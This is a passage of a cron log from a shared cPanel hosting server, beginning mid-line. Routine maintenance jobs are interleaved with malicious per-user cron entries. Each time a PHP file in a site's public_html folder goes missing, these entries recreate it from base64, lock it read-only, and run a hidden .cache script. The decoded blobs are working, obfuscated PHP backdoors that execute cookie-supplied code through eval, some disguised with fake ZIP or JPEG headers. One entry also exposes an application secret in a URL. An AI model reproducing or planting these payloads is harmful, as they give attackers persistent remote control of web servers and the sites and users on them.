dKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:39:02 medusa CROND[8951]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:39:02 medusa CROND[8953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:40:01 medusa CROND[28144]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 04:40:01 medusa CROND[28161]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 04:40:01 medusa CROND[28170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:40:01 medusa CROND[28218]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 04:40:02 medusa CROND[28442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:40:02 medusa CROND[28443]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28446]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:40:02 medusa CROND[28445]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28447]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28448]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 04:40:02 medusa CROND[28451]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28449]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28456]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:40:02 medusa CROND[28461]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:40:02 medusa CROND[28472]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 04:40:02 medusa CROND[28480]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:40:02 medusa CROND[28465]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 04:40:02 medusa CROND[28486]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:40:02 medusa CROND[28487]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:40:02 medusa CROND[28485]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 04:40:02 medusa CROND[28488]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:40:02 medusa CROND[28490]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 04:40:02 medusa CROND[28502]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:40:02 medusa CROND[28500]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:40:02 medusa CROND[28518]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:40:02 medusa CROND[28494]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 04:40:02 medusa CROND[28503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:41:01 medusa CROND[15019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:41:01 medusa CROND[15020]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:41:01 medusa CROND[15023]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:41:01 medusa CROND[15024]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:41:01 medusa CROND[15027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:41:01 medusa CROND[15028]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:41:01 medusa CROND[15032]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:41:01 medusa CROND[15035]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:41:01 medusa CROND[15036]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:41:01 medusa CROND[15037]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:41:01 medusa CROND[15038]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:41:01 medusa CROND[15044]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:41:01 medusa CROND[15043]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
